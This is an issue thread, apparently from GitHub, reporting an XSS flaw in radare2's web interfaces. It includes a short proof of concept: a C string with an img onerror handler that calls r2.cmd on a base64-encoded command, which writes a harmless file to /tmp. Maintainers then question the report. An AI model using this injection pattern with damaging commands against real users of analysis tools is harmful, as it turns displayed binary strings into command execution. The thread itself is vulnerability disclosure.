The enyo and material web interfaces are vulnerable to XSS

[Maijin]

Again, this leads to arbitrary command execution.
PoC

void main()
{
    printf("<img src=k onerror=r2.cmd(atob('ZWNobyAxID4gL3RtcC9ib28='))></img>");
}

Edit:
To clarify, this occurs when the string from the binary is show in the disassembly window.

radareorg/radare2#4337

[novia713]

been looking for this in the web-ui and didn't found it.
AFAIK this code is in r2, not in the webui.

if i'm wrong, please somebody tells me where is this code.

[radare]

wat

[radare]

please @Maijin elaborate on this and provide a proper testcase

[Maijin]

I have no idea what this is about, I just ripped of the issue from radare2 repo